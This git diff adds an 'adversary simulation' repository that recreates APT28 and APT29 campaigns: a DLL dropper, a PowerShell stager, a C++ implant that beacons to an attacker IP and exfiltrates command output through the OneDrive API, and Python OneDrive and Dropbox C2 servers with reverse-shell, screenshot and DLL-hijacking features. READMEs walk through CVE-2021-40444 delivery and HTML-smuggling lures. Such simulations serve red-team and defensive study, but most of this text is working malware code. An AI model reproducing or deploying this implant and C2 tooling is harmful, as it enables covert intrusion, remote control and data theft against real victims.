diff --git a/Russian APT/APT28-Adversary-Simulation/DLLDownloader.cs b/Russian APT/APT28-Adversary-Simulation/DLLDownloader.cs new file mode 100644 index 0000000..9eaae6c --- /dev/null +++ b/Russian APT/APT28-Adversary-Simulation/DLLDownloader.cs @@ -0,0 +1,41 @@ +//manual compile: csc /platform:x64 /target:library DLLDownloader.cs or csc /platform:x64 /target:exe DLLDownloader.cs + +using System; +using System.IO; + +namespace DllDownloader +{ + class Program + { + static void Main(string[] args) + { + // base64-encoded content of the dfsvc.dll + string base64Content1 = "Your base64 string for dfsvc.dll here"; + + // base64-encoded content of the Stager.dll + string base64Content2 = "Your base64 string for Stager.dll here"; + + // convert base64 strings to byte arrays + byte[] fileBytes1 = Convert.FromBase64String(base64Content1); + byte[] fileBytes2 = Convert.FromBase64String(base64Content2); + + // specify the file name + string fileName1 = "dfsvc.dll"; + string fileName2 = "Stager.dll"; + + try + { + // save the byte arrays to files + File.WriteAllBytes(fileName1, fileBytes1); + File.WriteAllBytes(fileName2, fileBytes2); + + Console.WriteLine($"DLLs '{fileName1}' and '{fileName2}' downloaded successfully."); + } + catch (Exception ex) + { + Console.WriteLine($"Failed to download DLLs: {ex.Message}"); + } + } + } +} + diff --git a/Russian APT/APT28-Adversary-Simulation/OneDrivec2.py b/Russian APT/APT28-Adversary-Simulation/OneDrivec2.py new file mode 100644 index 0000000..7a1c54d --- /dev/null +++ b/Russian APT/APT28-Adversary-Simulation/OneDrivec2.py @@ -0,0 +1,195 @@ +# This script integrates OneDrive API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate OneDrive communication. + +# This C2 is for simulation only and is still under development +# pip install -r requirements.txt +# python3 OneDrive.py +# Author: S3N4T0R +# Date: 2024-4-9 + +# Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences. + +import subprocess +import sys +import time +import threading +import socket +import base64 +import os +import pyautogui +from pyvirtualdisplay import Display +import random +import shutil +import requests +from Crypto.Cipher import AES +from Crypto.Util.Padding import pad + +BLUE = '\033[94m' +RESET = '\033[0m' + +print(BLUE + """ + + ██████╗ ███╗ ██╗███████╗██████╗ ██████╗ ██╗██╗ ██╗███████╗ ██████╗██████╗ +██╔═══██╗████╗ ██║██╔════╝██╔══██╗██╔══██╗██║██║ ██║██╔════╝ ██╔════╝╚════██╗ +██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██║██║ ██║█████╗ ██║ █████╔╝ +██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║╚██╗ ██╔╝██╔══╝ ██║ ██╔═══╝ +╚██████╔╝██║ ╚████║███████╗██████╔╝██║ ██║██║ ╚████╔╝ ███████╗ ╚██████╗███████╗ + ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝ ╚═════╝╚══════╝ + +""" + RESET) + +# Function to get attacker information +def get_attacker_info(): + attacker_ip = input("Enter the IP address for the reverse shell: ") + return attacker_ip + +# Function to encrypt access token +def encrypt_access_token(token): + key = input("Enter your AES key (must be 16, 24, or 32 bytes long): ").encode() + if len(key) not in [16, 24, 32]: + print("Invalid key length. AES key must be 16, 24, or 32 bytes long.") + sys.exit(1) + cipher = AES.new(key, AES.MODE_ECB) + token_padded = pad(token.encode(), AES.block_size) + return base64.b64encode(cipher.encrypt(token_padded)).decode() + +# Main function +def main(): + # Get attacker info + access_token = input("Enter your OneDrive Application (client) ID: ") + secret_id = input("Enter your OneDrive Secret ID: ") + ip = get_attacker_info() + + port = input("Enter the port number for the reverse shell and ngrok: ") + + print("Starting ngrok tunnel...") + # Update to use ngrok tcp command with the port specified by the attacker + ngrok_process = subprocess.Popen(['ngrok', 'tcp', port]) + time.sleep(3) # Give ngrok some time to establish the tunnel + + access_token_encrypted = encrypt_access_token(access_token) + + # Define headers for OneDrive API + headers = { + "Authorization": f"Bearer {access_token_encrypted}", + "Content-Type": "application/json", + "User-Agent": "OneDrive-API-Client/1.0", + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "X-Drive-Client-Secret": secret_id # Add secret ID to headers + } + + # Create socket + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((ip, int(port))) # Bind to the port specified by the attacker + s.listen(1) + print("Waiting for incoming connection...") + client_socket, addr = s.accept() + + # Start shell + shell = subprocess.Popen(['/bin/bash', '-i'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) + + # Start display + display = Display(visible=0, size=(800, 600)) + display.start() + + # Create sessions dictionary + sessions = {} + session_counter = 1 + + # Main loop + while True: + command = input("Enter a command to execute (or type 'exit' to quit): ") + if command.lower() == "exit": + break + + time.sleep(random.uniform(1, 5)) + + result = subprocess.run(command, shell=True, capture_output=True, text=True) + stdout = result.stdout + stderr = result.stderr + + client_socket.send(command.encode()) + client_socket.send(stdout.encode()) + client_socket.send(stderr.encode()) + + if command.lower() == "screen": + session_id = str(session_counter) + session_counter += 1 + sessions[session_id] = {"socket": client_socket, "display": display} + print(f"Started screen session {session_id}") + + screen = pyautogui.screenshot() + screen_data = base64.b64encode(screen.tobytes()).decode('utf-8') + + client_socket.send(screen_data.encode()) + + while True: + try: + screen = pyautogui.screenshot() + screen_data = base64.b64encode(screen.tobytes()).decode('utf-8') + + client_socket.send(screen_data.encode()) + + time.sleep(0.1) + except KeyboardInterrupt: + print("\nScreen session ended.") + break + + elif command.lower() == "upload": + file_path = input("Enter the path of the file to upload: ") + file_name = os.path.basename(file_path) + with open(file_path, "rb") as f: + file_data = f.read() + url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_name + ":/content" + response = requests.put(url, headers=headers, data=file_data) + client_socket.send(response.text.encode()) + + elif command.lower() == "download": + file_path = input("Enter the path of the file to download: ") + url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_path + response = requests.get(url, headers=headers) + with open(os.path.basename(file_path), "wb") as f: + f.write(response.content) + client_socket.send("File downloaded successfully.".encode()) + + elif command.lower() == "get": + file_path = input("Enter the path of the file: ") + url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_path + response = requests.get(url, headers=headers) + client_socket.send(response.text.encode()) + + elif command.lower() == "remove": + file_path = input("Enter the path of the file to remove: ") + url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_path + response = requests.delete(url, headers=headers) + client_socket.send(response.text.encode()) + + elif command.lower() == "add": + folder_path = input("Enter the path of the folder to create: ") + url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + folder_path + data = {"name": folder_path.split('/')[-1], "folder": {}} + response = requests.post(url, headers=headers, json=data) + client_socket.send(response.text.encode()) + + elif command.lower() == "list_folder": + folder_path = input("Enter the path of the folder to list: ") + url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + folder_path + ":/children" + response = requests.get(url, headers=headers) + client_socket.send(response.text.encode()) + + else: + client_socket.send(stdout.encode()) + client_socket.send(stderr.encode()) + + # Close sockets and display + client_socket.close() + s.close() + display.stop() + + # Terminate ngrok process + ngrok_process.terminate() + +if __name__ == "__main__": + main() + diff --git a/Russian APT/APT28-Adversary-Simulation/README.md b/Russian APT/APT28-Adversary-Simulation/README.md new file mode 100644 index 0000000..ee635f8 --- /dev/null +++ b/Russian APT/APT28-Adversary-Simulation/README.md @@ -0,0 +1,111 @@ +# Fancy Bear APT28 Adversary Simulation +This is a simulation of attack by Fancy Bear group (APT28) targeting high-ranking government officials Western Asia and Eastern Europe +the attack campaign was active from October to November 2021, The attack chain starts with the execution of an Excel downloader sent +to the victim via email which exploits an MSHTML remote code execution vulnerability (CVE-2021-40444) to execute a malicious executable +in memory, I relied on trellix tofigure out the details to make this simulation: https://www.trellix.com/blogs/research/prime-ministers-office-compromised/ + + +![photo_2024-04-06_23-42-01](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/bd9e3d64-a453-4aaf-9653-255a0cf4fe68) + +This attack included several stages including exploitation of the CVE-2021-40444 vulnerability through which remote access execution can be accessed through word file this is done by injecting the DLL into Word file through this exploit, Also use OneDrive c2 Server to get command and control and this is to data exfiltration with hide malicious activities among the legitimate traffic to OneDrive. + + +1.Create dll downloads files through base64, This is to download two files the first is (dfsvc.dll) the second is (Stager.dll). + +2.Exploiting the zero-day vulnerability to inject the DLL file into Word File and create an execution for DLL by opening Word File. + +3.Word File is running and the actual payload is downloaded through DLLDownloader.dll and we have two files Stager.dll and dfsvc.dll. + + +4.The Stager decrypts the actual payload and runs it which in turn is responsible for command and control. + +5.Data exfiltration over OneDrive API C2 Channe, This integrates OneDrive API functionality to facilitate communication between the compromised system and the attacker-controlled server thereby potentially hiding the traffic within legitimate OneDrive communication. + +6.Get Command and Control through payload uses the OneDrive API to upload data including command output to OneDrive, the payload calculates the CRC32 checksum of the MachineGuid and includes it in the communication with the server for identification purposes. + + +![Screenshot from 2024-04-08 01-28-29](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/d6d418db-2d9a-4e4c-94fb-74596207d95a) + +## The first stage (delivery technique) + +First the attackers created DLL executable (DLLDownloader.dll) this DLL it can download two payloads by command line to make payload base64 +`base64 dfsvc.dll -w 0` and `base64 Stager.dll -w 0` the first is (dfsvc.dll) the second is (Stager.dll), This DLL will be used in the next stage by injecting it into a Word file via the Zero-day vulnerability. + + +![Screenshot from 2024-04-16 21-38-27](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/d4fdc9a2-5268-42cf-98b0-4e8aff660ac6) + +## The Second stage (implanting technique) + +second the attackers exploited the Zero-day vulnerability (CVE-2021-40444) https://github.com/lockedbyte/CVE-2021-40444/ +this vulnerability works by injecting a DLL file into Microsoft Word When the file is opened it executes the DLL payload, which is responsible for downloading two other payload (dfsvc.dll) and (Stager.dll). + +![Screenshot from 2024-04-13 01-09-30](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/e03bfa09-ed13-4ddc-bf41-64d97187099b) + +When a victim opens the malicious Office document using Microsoft Office, the application parses the document's content, including the embedded objects. The flaw in the MSHTML component is triggered during this parsing process, allowing the attacker's malicious code to be executed within the context of the Office application. + +## The third stage (execution technique) + +Now i have a Word file when i open it performs an execution for the DLL Downloader and thus downloads the two files (dfsvc.dll) and (Stager.dll) this is through the vulnerability CVE-2021-40444. + +![Screenshot from 2024-04-16 17-21-17](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/b496b5a9-28e9-49f1-a5c7-8324913cbf2f) + +After that the stager decrypts the payload using the Decrypt-Payload function (you need to implement the decryption algorithm) and then executes the payload using the Execute-Payload function, In this simulation i made the build perform an execution directly without the need for the stager script, and it can be modified to suit the stager making an execution for the actual payload. + + +![Screenshot from 2024-04-16 17-59-42](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/30729f3f-d294-4ccc-82c3-7f1821f792df) + +## The fourth stage (Data Exfiltration) over OneDrive API C2 Channe + +The attackers used the OneDrive C2 (Command and Control) API as a means to establish a communication channel between their payload and the attacker's server, +By using OneDrive as a C2 server, attackers can hide their malicious activities among the legitimate traffic to OneDrive, making it harder for security teams to detect the threat. First, we need to create a Microsoft Azure account and activate its permissions, as shown in the following figure. + +We will use the Application (client) ID for the inputs needed by the C2 server + +![photo_2024-04-14_16-24-06](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/6e73395a-2221-411b-ab4a-e6c23f2b2897) + +After that, we will go to the Certificates & secrets menu to generate the Secret ID for the Microsoft Azure account, and this is what we will use in OneDrive C2. + +![photo_2024-04-14_16-24-14](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/fec5b59d-57ed-47f4-b640-d06782d8c16b) + +To make simulation of this attack at the present time i did not use the PowerShell Empire to avoid detection and i make customization of the OneDrive C2 server, +This script integrates OneDrive API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate OneDrive communication and i used AES Encryption to secure the connection just like the PowerShell Empire server that the attackers used in the actual attack, The customization OneDrive C2 Server inspired by PowerShell Empire. + +![photo_2024-04-14_02-55-02](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/0e4a4178-053b-493d-90b2-f0988d80f5da) + +## The fifth stage (payload with OneDrive API requests) + +This payload establishes covert communication via socket to a remote server, disguising traffic within OneDrive API requests. It identifies machines using CRC32 checksums of their MachineGuids. Commands are executed locally, with outputs sent back to the server or uploaded to OneDrive. Its dynamic configuration enables flexible and stealthy remote control and data exfiltration. + +![Screenshot from 2024-04-14 16-59-47](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/b784cfdd-e83e-41b3-857b-23e56396312d) + + +1.Covert communication: The payload initiates a socket connection to a specified IP address and port. + +2.Identification mechanism: It retrieves the MachineGuid from the Windows registry and calculates its CRC32 checksum. + +![171351508026027259](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/ba5979bc-eb9b-4e98-b74a-002e6846ff36) + + +3.Command execution: The payload enters a loop to receive commands from the remote server or OneDrive. + +4.Data exfiltration: After execution it captures output and sends it back to the server or uploads it to OneDrive. + +5.Stealthy communication: Utilizing OneDrive API it blends network traffic with legitimate OneDrive traffic. + +6.Dynamic configuration: Behavior is configured by specifying IP address, port and optionally an access token for OneDrive. + + +![Screenshot from 2024-04-14 22-43-29](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/b2eda097-d7f7-48ab-823d-f720badf69f1) + +## Final result: payload connect to OneDrive C2 server + +the final step in this process involves the execution of the final payload. After being decrypted and loaded into the current process, the final payload is designed to beacon out to both OneDrive API-based C2 server. + + + + +https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/becef683-c49b-40d5-9047-d8e8c6303eaa + + + + diff --git a/Russian APT/APT28-Adversary-Simulation/Stager.cs b/Russian APT/APT28-Adversary-Simulation/Stager.cs new file mode 100644 index 0000000..15808f2 --- /dev/null +++ b/Russian APT/APT28-Adversary-Simulation/Stager.cs @@ -0,0 +1,75 @@ +//manual compile: csc /reference:/opt/microsoft/powershell/7/System.Management.Automation.dll,/usr/lib/mono/4.5.1-api/Facades/System.Runtime.dll /out:Stager.dll Stager.cs + +using System; +using System.Management.Automation; +using System.Management.Automation.Runspaces; +using System.Text; + +namespace PowerShellStager +{ + class Program + { + static void Main(string[] args) + { + // attacker configuration + string attackerIP = "192.168.1.1"; + int attackerPort = 4444; + + // embedded and encrypted payload (replace with your encrypted payload) + byte[] encryptedPayload = { 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x2C, 0x20, 0x57, 0x6F, 0x72, 0x6C, 0x64 }; + + // decrypt and execute the payload + try + { + byte[] decryptedPayload = DecryptPayload(encryptedPayload); + ExecutePayload(decryptedPayload); + } + catch (Exception ex) + { + Console.WriteLine($"Failed to decrypt and execute payload: {ex.Message}"); + } + } + + static byte[] DecryptPayload(byte[] encryptedPayload) + { + // implement your decryption algorithm here + // example: + // byte[] decryptedPayload = new byte[encryptedPayload.Length]; + // for (int i = 0; i < encryptedPayload.Length; i++) + // { + // decryptedPayload[i] = (byte)(encryptedPayload[i] ^ 0xFF); + // } + // return decryptedPayload; + + // for demonstration purposes, return the encrypted payload as-is + return encryptedPayload; + } + + static void ExecutePayload(byte[] payload) + { + // convert byte array to PowerShell script + string script = Encoding.ASCII.GetString(payload); + + // preate a powerShell runspace + using (Runspace runspace = RunspaceFactory.CreateRunspace()) + { + runspace.Open(); + + // create a pipeline and feed the script into it + Pipeline pipeline = runspace.CreatePipeline(); + pipeline.Commands.AddScript(script); + + // execute the script + try + { + pipeline.Invoke(); + Console.WriteLine("Payload executed successfully."); + } + catch (Exception ex) + { + Console.WriteLine($"Failed to execute payload"); + } + } + } + } +} diff --git a/Russian APT/APT28-Adversary-Simulation/parliament_rew.xlsx b/Russian APT/APT28-Adversary-Simulation/parliament_rew.xlsx new file mode 100644 index 0000000..cf967c0 Binary files /dev/null and b/Russian APT/APT28-Adversary-Simulation/parliament_rew.xlsx differ diff --git a/Russian APT/APT28-Adversary-Simulation/payload.cpp b/Russian APT/APT28-Adversary-Simulation/payload.cpp new file mode 100644 index 0000000..906112f --- /dev/null +++ b/Russian APT/APT28-Adversary-Simulation/payload.cpp @@ -0,0 +1,140 @@ +//this payload uses the OneDrive API to upload data, including command output to OneDrive. By leveraging the OneDrive API and providing an access token the payload hides its traffic within the legitimate traffic of the OneDrive service, the payload calculates the CRC32 checksum of the MachineGuid and includes it in the communication with the server for identification purposes. + +//manual compile: i686-w64-mingw32-g++ -o dfsvc.dll payload.cpp -lws2_32 -static-libgcc -static-libstdc++ + + +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") + +using namespace std; + +string execute_command(const char* cmd) { + char buffer[128]; + string result = ""; + FILE* pipe = _popen(cmd, "r"); + if (!pipe) throw runtime_error("_popen() failed!"); + try { + while (fgets(buffer, sizeof(buffer), pipe) != NULL) { + result += buffer; + } + } catch (...) { + _pclose(pipe); + throw; + } + _pclose(pipe); + return result; +} + +string get_machine_guid() { + HKEY hKey; + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Cryptography", 0, KEY_READ, &hKey) == ERROR_SUCCESS) { + char buffer[256]; + DWORD bufferSize = sizeof(buffer); + if (RegQueryValueEx(hKey, "MachineGuid", NULL, NULL, (LPBYTE)buffer, &bufferSize) == ERROR_SUCCESS) { + return string(buffer); + } + RegCloseKey(hKey); + } + return ""; +} + +DWORD calculate_crc32(const string& data) { + DWORD crc = 0xFFFFFFFF; + for (char c : data) { + crc ^= c; + for (int i = 0; i < 8; i++) { + crc = (crc >> 1) ^ (0xEDB88320 & (-(crc & 1))); + } + } + return ~crc; +} + +string download_from_onedrive(const string& access_token) { + string url = "https://graph.microsoft.com/v1.0/me/drive/root:/payload_input.txt:/content"; + string cmd = "curl -H \"Authorization: Bearer " + access_token + "\" " + url; + return execute_command(cmd.c_str()); +} + +void upload_to_onedrive(const string& data, const string& access_token) { + string url = "https://graph.microsoft.com/v1.0/me/drive/root:/payload_output.txt:/content"; + string cmd = "curl -X PUT -H \"Authorization: Bearer " + access_token + "\" -d \"" + data + "\" " + url; + execute_command(cmd.c_str()); +} + +void main_loop(const string& ip, int port, const string& access_token = "") { + SOCKET s; + sockaddr_in server; + + WSADATA wsData; + if (WSAStartup(MAKEWORD(2, 2), &wsData) != 0) { + cout << "WSAStartup failed" << endl; + return; + } + + if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { + cout << "Could not create socket" << endl; + WSACleanup(); + return; + } + + server.sin_addr.s_addr = inet_addr(ip.c_str()); + server.sin_family = AF_INET; + server.sin_port = htons(port); + + if (connect(s, (sockaddr*)&server, sizeof(server)) < 0) { + cout << "Connection failed" << endl; + closesocket(s); + WSACleanup(); + return; + } + + string machine_guid = get_machine_guid(); + if (!machine_guid.empty()) { + DWORD crc32_checksum = calculate_crc32(machine_guid); + string payload = "CRC32Checksum: " + to_string(crc32_checksum) + "\n"; + send(s, payload.c_str(), payload.size(), 0); + } + + char buffer[1024] = {0}; + while (true) { + string command; + if (!access_token.empty()) { + command = download_from_onedrive(access_token); + } else { + recv(s, buffer, sizeof(buffer), 0); + command = string(buffer); + } + + if (command == "exit\n") break; + + string output = execute_command(command.c_str()); + + if (!access_token.empty()) { + upload_to_onedrive(output, access_token); + } else { + send(s, output.c_str(), output.size(), 0); + } + } + + closesocket(s); + WSACleanup(); +} + +int main() { + string ip = "192.168.1.1"; // change to the attacker ip + int port = 4444; // change to the port the attacker + string access_token; // set OneDrive access token + + main_loop(ip, port, access_token); + + return 0; +} + diff --git a/Russian APT/APT28-Adversary-Simulation/requirements.txt b/Russian APT/APT28-Adversary-Simulation/requirements.txt new file mode 100644 index 0000000..59e59d2 --- /dev/null +++ b/Russian APT/APT28-Adversary-Simulation/requirements.txt @@ -0,0 +1,4 @@ +pyautogui +pyvirtualdisplay +requests +cryptography diff --git a/Russian APT/APT29-Adversary-Simulation/BMW 5 for sale in Kyiv - 2023.docx b/Russian APT/APT29-Adversary-Simulation/BMW 5 for sale in Kyiv - 2023.docx new file mode 100644 index 0000000..52aefd4 Binary files /dev/null and b/Russian APT/APT29-Adversary-Simulation/BMW 5 for sale in Kyiv - 2023.docx differ diff --git a/Russian APT/APT29-Adversary-Simulation/BMW.iso b/Russian APT/APT29-Adversary-Simulation/BMW.iso new file mode 100644 index 0000000..91433fd Binary files /dev/null and b/Russian APT/APT29-Adversary-Simulation/BMW.iso differ diff --git a/Russian APT/APT29-Adversary-Simulation/Dropboxc2.py b/Russian APT/APT29-Adversary-Simulation/Dropboxc2.py new file mode 100644 index 0000000..832ab1d --- /dev/null +++ b/Russian APT/APT29-Adversary-Simulation/Dropboxc2.py @@ -0,0 +1,239 @@ +# This script integrates Dropbox API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate Dropbox communication. + +# This C2 is for simulation only and is still under development +# pip install -r requirements.txt +# python3 Dropboxc2.py +# Author: S3N4T0R +# Date: 2024-3-15 + +# Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences. + +import subprocess +import sys +import time +import threading +import socket +import base64 +import os +import pyautogui +from pyvirtualdisplay import Display +import random +import shutil +import requests +from Crypto.Cipher import AES +from Crypto.Util.Padding import pad + +BLUE = '\033[94m' +RESET = '\033[0m' + + +print(BLUE + """ +██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ +██╔══██╗██╔══██╗██╔═══██╗██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝ ██╔════╝ ╚════██╗ +██║ ██║██████╔╝██║ ██║██████╔╝██████╔╝██║ ██║ ╚███╔╝ ██║ █████╔╝ +██║ ██║██╔══██╗██║ ██║██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ██║ ██╔═══╝ +██████╔╝██║ ██║╚██████╔╝██║ ██████╔╝╚██████╔╝██╔╝ ██╗ ╚██████╗ ███████╗ +╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ +""" + RESET) + + +access_token = input("Enter your Dropbox access token: ") +ip = input("Enter the IP address for the reverse shell: ") +port = int(input("Enter the port number for the reverse shell: ")) + +# Encrypt the access token using AES encryption in ECB mode +def encrypt_access_token(token): + # Prompt the user to enter the AES key + key = input("Enter your AES key (must be 16, 24, or 32 bytes long): ").encode() + if len(key) not in [16, 24, 32]: + print("Invalid key length. AES key must be 16, 24, or 32 bytes long.") + sys.exit(1) + cipher = AES.new(key, AES.MODE_ECB) + token_padded = pad(token.encode(), AES.block_size) + return base64.b64encode(cipher.encrypt(token_padded)).decode() + +# Encrypt the access token +access_token_encrypted = encrypt_access_token(access_token) + +# Create the headers for the Dropbox API requests +headers = { + "Authorization": f"Bearer {access_token_encrypted}", + "Content-Type": "application/json", + "User-Agent": "Dropbox-API-Client/2.0", + "Connection": "keep-alive", # Maintain persistent connection + "Accept-Encoding": "gzip, deflate, br", # Accept compressed responses + "Accept-Language": "en-US,en;q=0.9", # Specify language preference +} + +# Set up the reverse shell connection +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.bind((ip, port)) +s.listen(1) +print("Waiting for incoming connection...") +client_socket, addr = s.accept() + +# Function to perform DLL Hijacking +def hijack_dll(): + # Prompt the user for the path of the DLL to hijack + dll_path = input("Enter the path of the DLL to hijack: ") + + # Prompt the user for the path of the target executable + target_exe = input("Enter the path of the target executable: ") + + # Copy the specified DLL to the directory of the target executable + shutil.copy(dll_path, os.path.dirname(target_exe)) + + # Launch the target executable + subprocess.run(target_exe, shell=True) + +# Prompt the user to choose whether to perform DLL hijacking +perform_hijack = input("Do you want to perform DLL hijacking? (yes/no): ").lower() + +# If the user chooses to perform DLL hijacking, call the hijack_dll function +if perform_hijack == "yes": + hijack_dll() +elif perform_hijack == "no": + print("DLL hijacking will not be performed.") +else: + print("Invalid input. DLL hijacking will not be performed.") + +# Spawn a shell process +shell = subprocess.Popen(['/bin/bash', '-i'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) + +# Create a virtual display on the server +display = Display(visible=0, size=(800, 600)) +display.start() + +# Initialize session management +sessions = {} +session_counter = 1 + +# Execute commands entered by the user +while True: + command = input("Enter a command to execute (or type 'exit' to quit): ") + if command.lower() == "exit": + break + + # Randomize communication intervals + time.sleep(random.uniform(1, 5)) + + # Send the command to the shell process and get the output + result = subprocess.run(command, shell=True, capture_output=True, text=True) + stdout = result.stdout + stderr = result.stderr + + # Send the command and output back to the client + client_socket.send(command.encode()) + client_socket.send(stdout.encode()) + client_socket.send(stderr.encode()) + + # If the command is 'screen', start capturing the virtual display + if command.lower() == "screen": + session_id = str(session_counter) + session_counter += 1 + sessions[session_id] = {"socket": client_socket, "display": display} + print(f"Started screen session {session_id}") + + # Capture the virtual display and convert it to base64 + screen = pyautogui.screenshot() + screen_data = base64.b64encode(screen.tobytes()).decode('utf-8') + + # Send the base64-encoded screen data to the client + client_socket.send(screen_data.encode()) + + # Continuously capture the screen and send updates to the client + while True: + try: + # Capture the virtual display + screen = pyautogui.screenshot() + screen_data = base64.b64encode(screen.tobytes()).decode('utf-8') + + # Send the base64-encoded screen data to the client + client_socket.send(screen_data.encode()) + + # Sleep for a short interval to control the screen update rate + time.sleep(0.1) + except KeyboardInterrupt: + # If the user interrupts the screen capture, stop the loop + print("\nScreen session ended.") + break + elif command.lower() == "exfiltrate": + # Example: Exfiltrate sensitive data + # Replace this with your own exfiltration method + client_socket.send("Exfiltrating sensitive data...".encode()) + # Add your exfiltration code here + + elif command.lower() == "escalate": + # Example: Escalate privileges + # Replace this with your own privilege escalation method + client_socket.send("Escalating privileges...".encode()) + # Add your privilege escalation code here + + elif command.lower() == "pivot": + # Example: Pivot to other systems in the network + # Replace this with your own pivoting method + client_socket.send("Pivoting to other systems...".encode()) + # Add your pivoting code here + + elif command.lower() == "upload": + # Example: Upload a file to Dropbox + file_path = input("Enter the path of the file to upload: ") + file_name = os.path.basename(file_path) + with open(file_path, "rb") as f: + file_data = f.read() + url = "https://content.dropboxapi.com/2/files/upload" + headers["Dropbox-API-Arg"] = '{"path": "/'+ file_name +'","mode": "add","autorename": true,"mute": false,"strict_conflict": false}' + response = requests.post(url, headers=headers, data=file_data) + client_socket.send(response.text.encode()) + + elif command.lower() == "download": + # Example: Download a file from Dropbox + file_path = input("Enter the path of the file to download: ") + url = "https://content.dropboxapi.com/2/files/download" + headers["Dropbox-API-Arg"] = '{"path": "'+ file_path +'"}' + response = requests.post(url, headers=headers) + with open(os.path.basename(file_path), "wb") as f: + f.write(response.content) + client_socket.send("File downloaded successfully.".encode()) + + elif command.lower() == "get": + # Example: Get file metadata from Dropbox + file_path = input("Enter the path of the file: ") + url = "https://api.dropboxapi.com/2/files/get_metadata" + data = {"path": file_path} + response = requests.post(url, headers=headers, json=data) + client_socket.send(response.text.encode()) + + elif command.lower() == "remove": + # Example: Remove a file from Dropbox + file_path = input("Enter the path of the file to remove: ") + url = "https://api.dropboxapi.com/2/files/delete_v2" + data = {"path": file_path} + response = requests.post(url, headers=headers, json=data) + client_socket.send(response.text.encode()) + + elif command.lower() == "add": + # Example: Create a folder on Dropbox + folder_path = input("Enter the path of the folder to create: ") + url = "https://api.dropboxapi.com/2/files/create_folder_v2" + data = {"path": folder_path} + response = requests.post(url, headers=headers, json=data) + client_socket.send(response.text.encode()) + + elif command.lower() == "list_folder": + # Example: List files and folders in a directory on Dropbox + folder_path = input("Enter the path of the folder to list: ") + url = "https://api.dropboxapi.com/2/files/list_folder" + data = {"path": folder_path} + response = requests.post(url, headers=headers, json=data) + client_socket.send(response.text.encode()) + + else: + # If the command is not 'screen', send the output back to the client + client_socket.send(stdout.encode()) + client_socket.send(stderr.encode()) + +# Close the connection +client_socket.close() +s.close() +display.stop() diff --git a/Russian APT/APT29-Adversary-Simulation/HTML Smuggling.html b/Russian APT/APT29-Adversary-Simulation/HTML Smuggling.html new file mode 100644 index 0000000..390ef85 --- /dev/null +++ b/Russian APT/APT29-Adversary-Simulation/HTML Smuggling.html @@ -0,0 +1,42 @@ + + + + +
+

BMW for Sale

+ +
+ + + +
+

sale of a used BMW 5-series sedan located in Kyiv.

+

You can view the details and condition of the car through the images and iso file.

+ + + + + diff --git a/Russian APT/APT29-Adversary-Simulation/README.md b/Russian APT/APT29-Adversary-Simulation/README.md new file mode 100644 index 0000000..6ce43a7 --- /dev/null +++ b/Russian APT/APT29-Adversary-Simulation/README.md @@ -0,0 +1,120 @@ +# Cozy Bear APT29 Adversary Simulation + +This is a simulation of attack by the Cozy Bear group (APT-29) targeting diplomatic missions. +The campaign began with an innocuous and legitimate event. In mid-April 2023, a diplomat within the Polish Ministry of Foreign Affairs emailed his legitimate flyer to various embassies advertising the sale of a used BMW 5-series sedan located in Kyiv. The file was titled BMW 5 for sale in Kyiv - 2023.docx. +I relied on palo alto to figure out the details to make this simulation: https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/ + +![photo_2024-04-12_01-35-08](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/891d43ef-b749-4c08-ab60-df2df85e620d) + + + +1.DOCX file: created DOCX file includes a Hyperlink that leads to downloading further HTML (HTML smuggling file). + +2.HTML Smuggling: The attackcers use the of HTML smuggling to obscure the ISO file. + +3.LNK files: When the LNK files 